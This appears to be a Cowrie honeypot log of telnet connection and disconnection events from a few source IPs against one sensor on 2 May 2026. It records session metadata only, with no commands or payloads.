{"eventid":"cowrie.session.closed","duration":39.85038733482361,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:00:07.772513Z","src_ip":"188.208.141.113","session":"620b82c84e6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":42146,"dst_ip":"10.17.0.5","dst_port":23,"session":"36c02d5b0283","protocol":"telnet","message":"New connection: 188.208.141.113:42146 (10.17.0.5:23) [session: 36c02d5b0283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:00:09.914263Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":59424,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8305884ee50","protocol":"telnet","message":"New connection: 188.208.141.113:59424 (10.17.0.5:23) [session: c8305884ee50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:00:13.121341Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":59430,"dst_ip":"10.17.0.5","dst_port":23,"session":"45493a0071ae","protocol":"telnet","message":"New connection: 188.208.141.113:59430 (10.17.0.5:23) [session: 45493a0071ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:00:16.004760Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47264,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7c3ba982e46","protocol":"telnet","message":"New connection: 188.208.141.113:47264 (10.17.0.5:23) [session: c7c3ba982e46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:00:21.528385Z"}
{"eventid":"cowrie.session.closed","duration":42.1776864528656,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:00:22.978982Z","src_ip":"188.208.141.113","session":"cc9587d0b2ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.46780729293823,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:00:25.089857Z","src_ip":"188.208.141.113","session":"f3a11b103cd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.277348279953003,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:00:26.927653Z","src_ip":"103.208.219.59","session":"dda285d38cd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.951982259750366,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:00:29.893714Z","src_ip":"188.208.141.113","session":"e79282f8f6ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37214,"dst_ip":"10.17.0.5","dst_port":23,"session":"32c841e9844f","protocol":"telnet","message":"New connection: 188.208.141.113:37214 (10.17.0.5:23) [session: 32c841e9844f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:00:32.689832Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37222,"dst_ip":"10.17.0.5","dst_port":23,"session":"b95c0fdcff43","protocol":"telnet","message":"New connection: 188.208.141.113:37222 (10.17.0.5:23) [session: b95c0fdcff43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:00:34.001295Z"}
{"eventid":"cowrie.session.closed","duration":42.62451124191284,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:00:35.324207Z","src_ip":"188.208.141.113","session":"082be076154c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37236,"dst_ip":"10.17.0.5","dst_port":23,"session":"65b65e1e9e92","protocol":"telnet","message":"New connection: 188.208.141.113:37236 (10.17.0.5:23) [session: 65b65e1e9e92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:00:36.286900Z"}
{"eventid":"cowrie.session.closed","duration":4.081012487411499,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:00:38.082156Z","src_ip":"188.208.141.113","session":"b95c0fdcff43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":44304,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2b0761ff60b","protocol":"telnet","message":"New connection: 103.208.219.59:44304 (10.17.0.5:23) [session: c2b0761ff60b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:00:40.107671Z"}
{"eventid":"cowrie.session.closed","duration":46.514991760253906,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:00:42.322081Z","src_ip":"188.208.141.113","session":"5eae2f562db3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58672,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4c74661d35d","protocol":"telnet","message":"New connection: 188.208.141.113:58672 (10.17.0.5:23) [session: e4c74661d35d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:00:44.126151Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58676,"dst_ip":"10.17.0.5","dst_port":23,"session":"345250d3577d","protocol":"telnet","message":"New connection: 188.208.141.113:58676 (10.17.0.5:23) [session: 345250d3577d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:00:44.213907Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58712,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5eac48c7bae","protocol":"telnet","message":"New connection: 188.208.141.113:58712 (10.17.0.5:23) [session: b5eac48c7bae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:00:46.683526Z"}
{"eventid":"cowrie.session.closed","duration":34.36130213737488,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:00:47.482476Z","src_ip":"188.208.141.113","session":"c8305884ee50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58780,"dst_ip":"10.17.0.5","dst_port":23,"session":"c46000009422","protocol":"telnet","message":"New connection: 188.208.141.113:58780 (10.17.0.5:23) [session: c46000009422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:00:48.836866Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":33094,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6b03b7be403","protocol":"telnet","message":"New connection: 103.208.219.59:33094 (10.17.0.5:23) [session: a6b03b7be403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:00:49.897200Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58826,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a86d22e3a80","protocol":"telnet","message":"New connection: 188.208.141.113:58826 (10.17.0.5:23) [session: 4a86d22e3a80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:00:49.962568Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58856,"dst_ip":"10.17.0.5","dst_port":23,"session":"c34fec1c6016","protocol":"telnet","message":"New connection: 188.208.141.113:58856 (10.17.0.5:23) [session: c34fec1c6016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:00:50.521616Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43184,"dst_ip":"10.17.0.5","dst_port":23,"session":"e77858e85649","protocol":"telnet","message":"New connection: 188.208.141.113:43184 (10.17.0.5:23) [session: e77858e85649]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:00:50.711039Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43214,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cdfea85e6e8","protocol":"telnet","message":"New connection: 188.208.141.113:43214 (10.17.0.5:23) [session: 2cdfea85e6e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:00:53.457664Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":33108,"dst_ip":"10.17.0.5","dst_port":23,"session":"482ba9b891d7","protocol":"telnet","message":"New connection: 103.208.219.59:33108 (10.17.0.5:23) [session: 482ba9b891d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:00:54.461742Z"}
{"eventid":"cowrie.session.closed","duration":38.80718183517456,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:00:54.811812Z","src_ip":"188.208.141.113","session":"45493a0071ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43228,"dst_ip":"10.17.0.5","dst_port":23,"session":"05eed8ed3d96","protocol":"telnet","message":"New connection: 188.208.141.113:43228 (10.17.0.5:23) [session: 05eed8ed3d96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:00:56.740081Z"}
{"eventid":"cowrie.session.closed","duration":46.89102602005005,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:00:56.805147Z","src_ip":"188.208.141.113","session":"36c02d5b0283","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":56240,"dst_ip":"10.17.0.5","dst_port":23,"session":"421028397918","protocol":"telnet","message":"New connection: 103.208.219.59:56240 (10.17.0.5:23) [session: 421028397918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:00:59.489919Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":56244,"dst_ip":"10.17.0.5","dst_port":23,"session":"b15b019cb45b","protocol":"telnet","message":"New connection: 103.208.219.59:56244 (10.17.0.5:23) [session: b15b019cb45b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:04.609656Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":56248,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cf64ff7bedd","protocol":"telnet","message":"New connection: 103.208.219.59:56248 (10.17.0.5:23) [session: 6cf64ff7bedd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:05.925606Z"}
{"eventid":"cowrie.session.closed","duration":44.73586440086365,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:06.264127Z","src_ip":"188.208.141.113","session":"c7c3ba982e46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":50550,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9e9dcc15aa3","protocol":"telnet","message":"New connection: 103.208.219.59:50550 (10.17.0.5:23) [session: b9e9dcc15aa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:08.866390Z"}
{"eventid":"cowrie.session.closed","duration":38.46812415122986,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:11.157849Z","src_ip":"188.208.141.113","session":"32c841e9844f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.771656274795532,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:11.879237Z","src_ip":"103.208.219.59","session":"c2b0761ff60b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":50554,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a81c01e0299","protocol":"telnet","message":"New connection: 103.208.219.59:50554 (10.17.0.5:23) [session: 7a81c01e0299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:12.911071Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34672,"dst_ip":"10.17.0.5","dst_port":23,"session":"cab2b8ca7c5e","protocol":"telnet","message":"New connection: 188.208.141.113:34672 (10.17.0.5:23) [session: cab2b8ca7c5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:17.495678Z"}
{"eventid":"cowrie.session.closed","duration":31.485329627990723,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:21.382383Z","src_ip":"103.208.219.59","session":"a6b03b7be403","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.13516592979431,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:23.972042Z","src_ip":"188.208.141.113","session":"c46000009422","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.8476448059082,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:24.134392Z","src_ip":"188.208.141.113","session":"65b65e1e9e92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43752,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fad62a97161","protocol":"telnet","message":"New connection: 188.208.141.113:43752 (10.17.0.5:23) [session: 0fad62a97161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:24.846079Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43758,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e086ad541e7","protocol":"telnet","message":"New connection: 188.208.141.113:43758 (10.17.0.5:23) [session: 1e086ad541e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:25.600368Z"}
{"eventid":"cowrie.session.closed","duration":31.3026602268219,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:25.764276Z","src_ip":"103.208.219.59","session":"482ba9b891d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.12402534484863,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:25.807435Z","src_ip":"188.208.141.113","session":"b5eac48c7bae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.934751749038696,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:26.060782Z","src_ip":"188.208.141.113","session":"e4c74661d35d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.04603815078735,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:26.756945Z","src_ip":"188.208.141.113","session":"e77858e85649","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.24010348320007,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:27.202550Z","src_ip":"188.208.141.113","session":"4a86d22e3a80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.15355467796326,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:28.367361Z","src_ip":"188.208.141.113","session":"345250d3577d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.761611461639404,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:30.251401Z","src_ip":"103.208.219.59","session":"421028397918","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60828,"dst_ip":"10.17.0.5","dst_port":23,"session":"176a6d2222bc","protocol":"telnet","message":"New connection: 188.208.141.113:60828 (10.17.0.5:23) [session: 176a6d2222bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:32.162452Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60838,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd4be17d5544","protocol":"telnet","message":"New connection: 188.208.141.113:60838 (10.17.0.5:23) [session: bd4be17d5544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:34.769519Z"}
{"eventid":"cowrie.session.closed","duration":30.527912855148315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:35.137479Z","src_ip":"103.208.219.59","session":"b15b019cb45b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.68792533874512,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:35.209424Z","src_ip":"188.208.141.113","session":"c34fec1c6016","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":50412,"dst_ip":"10.17.0.5","dst_port":23,"session":"22e723a17c17","protocol":"telnet","message":"New connection: 103.208.219.59:50412 (10.17.0.5:23) [session: 22e723a17c17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:35.277658Z"}
{"eventid":"cowrie.session.closed","duration":39.727041721343994,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:36.466839Z","src_ip":"188.208.141.113","session":"05eed8ed3d96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.299256801605225,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:37.224742Z","src_ip":"103.208.219.59","session":"6cf64ff7bedd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.622595071792603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:39.488832Z","src_ip":"103.208.219.59","session":"b9e9dcc15aa3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35736,"dst_ip":"10.17.0.5","dst_port":23,"session":"5eccd120432c","protocol":"telnet","message":"New connection: 188.208.141.113:35736 (10.17.0.5:23) [session: 5eccd120432c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:40.913760Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":39982,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7b1b84502e6","protocol":"telnet","message":"New connection: 103.208.219.59:39982 (10.17.0.5:23) [session: e7b1b84502e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:41.471605Z"}
{"eventid":"cowrie.session.closed","duration":48.1090362071991,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:41.566576Z","src_ip":"188.208.141.113","session":"2cdfea85e6e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.274287939071655,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:44.185247Z","src_ip":"103.208.219.59","session":"7a81c01e0299","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35748,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c53f3ce270c","protocol":"telnet","message":"New connection: 188.208.141.113:35748 (10.17.0.5:23) [session: 9c53f3ce270c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:46.014405Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":57954,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c98b8b0b333","protocol":"telnet","message":"New connection: 103.208.219.59:57954 (10.17.0.5:23) [session: 0c98b8b0b333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:50.417901Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":57968,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebf0c78165ce","protocol":"telnet","message":"New connection: 103.208.219.59:57968 (10.17.0.5:23) [session: ebf0c78165ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:54.437870Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":57980,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a3582e9f3d2","protocol":"telnet","message":"New connection: 103.208.219.59:57980 (10.17.0.5:23) [session: 5a3582e9f3d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:55.341817Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58006,"dst_ip":"10.17.0.5","dst_port":23,"session":"f32af556f0d0","protocol":"telnet","message":"New connection: 188.208.141.113:58006 (10.17.0.5:23) [session: f32af556f0d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:59.522618Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58018,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbedc338f9a0","protocol":"telnet","message":"New connection: 188.208.141.113:58018 (10.17.0.5:23) [session: cbedc338f9a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:01:59.829484Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":48426,"dst_ip":"10.17.0.5","dst_port":23,"session":"76052fcef8ce","protocol":"telnet","message":"New connection: 188.208.141.113:48426 (10.17.0.5:23) [session: 76052fcef8ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:00.798294Z"}
{"eventid":"cowrie.session.closed","duration":44.610475063323975,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:02.106027Z","src_ip":"188.208.141.113","session":"cab2b8ca7c5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":53420,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1e73df070ed","protocol":"telnet","message":"New connection: 103.208.219.59:53420 (10.17.0.5:23) [session: b1e73df070ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:04.808256Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":49470,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f05be93e6a5","protocol":"telnet","message":"New connection: 206.189.32.23:49470 (10.17.0.5:23) [session: 3f05be93e6a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:04.904913Z"}
{"eventid":"cowrie.session.closed","duration":31.216315507888794,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:06.493829Z","src_ip":"103.208.219.59","session":"22e723a17c17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":44572,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbfd592145b4","protocol":"telnet","message":"New connection: 103.208.219.59:44572 (10.17.0.5:23) [session: cbfd592145b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:10.827160Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":44578,"dst_ip":"10.17.0.5","dst_port":23,"session":"48a95fc09a70","protocol":"telnet","message":"New connection: 103.208.219.59:44578 (10.17.0.5:23) [session: 48a95fc09a70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:11.737060Z"}
{"eventid":"cowrie.session.closed","duration":30.888359308242798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:12.359823Z","src_ip":"103.208.219.59","session":"e7b1b84502e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.84771513938904,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:13.448242Z","src_ip":"188.208.141.113","session":"1e086ad541e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.77822399139404,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:14.940576Z","src_ip":"188.208.141.113","session":"176a6d2222bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.457324504852295,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:15.303262Z","src_ip":"188.208.141.113","session":"0fad62a97161","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":44588,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bb559364fa0","protocol":"telnet","message":"New connection: 103.208.219.59:44588 (10.17.0.5:23) [session: 4bb559364fa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:02:16.322901Z"}
